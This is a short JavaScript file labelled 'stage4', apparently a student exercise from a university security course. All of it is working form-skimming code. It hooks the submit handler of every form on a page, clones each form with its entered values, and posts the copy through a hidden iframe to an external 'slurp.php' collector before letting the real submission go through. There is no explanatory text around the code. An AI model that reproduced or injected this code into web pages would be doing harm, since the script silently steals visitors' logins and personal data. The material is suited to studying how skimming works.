stage4

var frms = document.getElementsByTagName("form");
for(i=0; i<frms.length; i++) {
	hijack(frms.item(i));
}

 function hijack(frmObj) {
 		var delayCode = "";
 		if(frmObj.hasAttribute("onsubmit")) {
 			delayCode = frmObj.getAttribute("onsubmit");
		}
 		frmObj.setAttribute("onsubmit", "return leech(this,function(){" + delayCode + "});");
 }

 /** Copies and submits a form object’s complete contents */
 function leech(frmObj, delayCode) {
	alert("frmObj: " + frmObj);
	var rnd = Math.floor(Math.random()*256);
 	var newFrm = frmObj.cloneNode(true); //deep clone
 	var elt = document.createElement("input");
 	elt.setAttribute("name", "442team");
	elt.setAttribute("value", "TeamAlpha");
 	newFrm.appendChild(elt);
 	newFrm.setAttribute("id", "leechedID" + rnd);
 	newFrm.setAttribute("target", "hiddenframe" + newFrm.id);
 	newFrm.setAttribute("action", "https://www.rose-hulman.edu/~stammsl/442/slurp.php");

	var hiddenIframe = document.createElement("iframe");
 	hiddenIframe.setAttribute("style", "position:absolute;" + "visibility:hidden;z-index:0;");
 	hiddenIframe.setAttribute("name", "hiddenframe" + newFrm.id);
 	hiddenIframe.appendChild(newFrm);
 	window.document.body.appendChild(hiddenIframe);
	newFrm.submit();
 	setTimeout(function() {
 		window.document.body.removeChild(hiddenIframe);
 		if(delayCode() != false) { frmObj.submit();}
 	}, 50);
	return false;
}